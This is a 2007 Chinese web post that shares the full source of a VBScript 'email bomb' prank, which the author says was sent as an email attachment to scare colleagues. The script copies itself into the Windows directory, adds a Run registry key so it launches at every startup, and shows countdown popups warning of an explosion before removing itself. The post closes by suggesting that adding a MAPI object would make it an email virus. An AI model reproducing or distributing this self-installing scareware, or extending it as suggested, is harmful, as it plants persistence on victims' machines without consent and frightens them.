Email 炸弹 vbscript 版

发布时间:2007年02月06日      浏览次数:1749 次
想起 Email 炸弹,我到是曾用 vbscript 做过一个简易版,文件名kelly.vbs,原来是插在邮件里吓人玩的,大家可以看看玩^_^。
Dim WSHShell,ver
Set WSHShell = WScript.CreateObject("WScript.Shell")
ver = "《Kelly1号》(4月1日版)"
On Error Resume Next
With WSHShell
c = .RegRead("HKCU\Software\《Kelly1号》邮件炸弹\")
If IsEmpty(c) Then
First
Else
d = CDate(c) - Date()
If d <= 0 Then
.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\lvrui"
.RegDelete "HKCU\Software\《Kelly1号》邮件炸弹\"
.Popup "《Kelly1号》邮件炸弹因受潮无法爆炸而自毁!您以后不必担心了!",,ver
ELse
.Popup "《Kelly1号》邮件炸弹 已经启动!离爆炸时间还有 " & CStr(d) & " 天,请您做好准备。
",,ver
End If
End If
End With
Sub First()
With WSHShell
.Run "xcopy %temp%\Kelly.vbs %windir%\"
.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\lvrui",
WSHShell.Environment("PROCESS").Item("windir")+"\Kelly.vbs"
.RegWrite "HKCU\Software\《Kelly1号》邮件炸弹\", Date()+10
.Popup "《Kelly1号》邮件炸弹 已经安装成功!每次启动时自动启动,时机成熟时将自动爆炸,请您
做好准备。",,ver
End With
End Sub
本炸弹是我以前跟同事开玩笑作着玩的,如果把里面的拷贝过程改成用filesystemobject可在任何系统中运行,另外若创建mapi对象,便可成为Email病毒
文章来源:http://www.duoko.com/vc/20/2006/2006111711407.html
免责声明:本站相关技术文章信息部分来自网络,目的主要是传播更多信息,如果您认为本站的某些信息侵犯了您的版权,请与我们联系,我们会即时妥善的处理,谢谢合作!